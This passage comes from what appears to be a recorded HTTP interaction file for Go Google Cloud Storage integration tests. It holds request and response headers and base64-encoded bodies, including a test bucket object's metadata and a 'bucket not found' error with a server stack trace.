"ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3128" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Etag": [ - "CKyp9oDy/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UruPh9tBADr1LSQWFlj1C4tjlS6uwlcy_MVRYaTGD4e_qEUlq0iXJx6ns3JHbH7I9olH7aSJpDW6VQcV5EdLwjQMecgA7qKhxzLoYFW4BZdEXbUrro" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLzE1NTY4MzU5ODkyOTYzMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvIiwibmFtZSI6Inplcm8iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4OTI5NjMwMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyOS4yOTVaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MjkuMjk1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjI5LjI5NVoiLCJzaXplIjoiMCIsIm1kNUhhc2giOiIxQjJNMlk4QXNnVHBnQW1ZN1BoQ2ZnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVybz9nZW5lcmF0aW9uPTE1NTY4MzU5ODkyOTYzMDAmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvemVyby8xNTU2ODM1OTg5Mjk2MzAwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4OTI5NjMwMCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDS3lwOW9EeS9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvemVyby8xNTU2ODM1OTg5Mjk2MzAwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiemVybyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg5Mjk2MzAwIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0t5cDlvRHkvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3plcm8vMTU1NjgzNTk4OTI5NjMwMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVyby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk4OTI5NjMwMCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDS3lwOW9EeS9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvemVyby8xNTU2ODM1OTg5Mjk2MzAwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiemVybyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTg5Mjk2MzAwIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0t5cDlvRHkvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJBQUFBQUE9PSIsImV0YWciOiJDS3lwOW9EeS9lRUNFQUU9In0=" - } - }, - { - "ID": "036f06773f6d6306", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0021/o?alt=json\u0026delimiter=\u0026pageToken=\u0026prefix=\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11821" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqs9uKpqdPwYRv420tAk0KmBT6DS2POPsIj39ROT-r3ymrd2SB-oOJEXuaHGOfih1ckOqp-YrvHHAh7l7A-6rwlFjoBSb4qCtWzXGPjekN0pUBIok8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjE3MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjQxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmxpc3QoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPU5PVF9GT1VORCwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjE3MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjQxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmxpc3QoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPW5vdEZvdW5kLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5OT1RfRk9VTkQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjE3MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjQxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmxpc3QoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5idWNrZXQsIG1lc3NhZ2U9bnVsbCwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5idWNrZXQsIG1lc3NhZ2U9Tm90IEZvdW5kLCByZWFzb249bm90Rm91bmQsIHJwY0NvZGU9NDA0fSBOb3QgRm91bmQ6IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4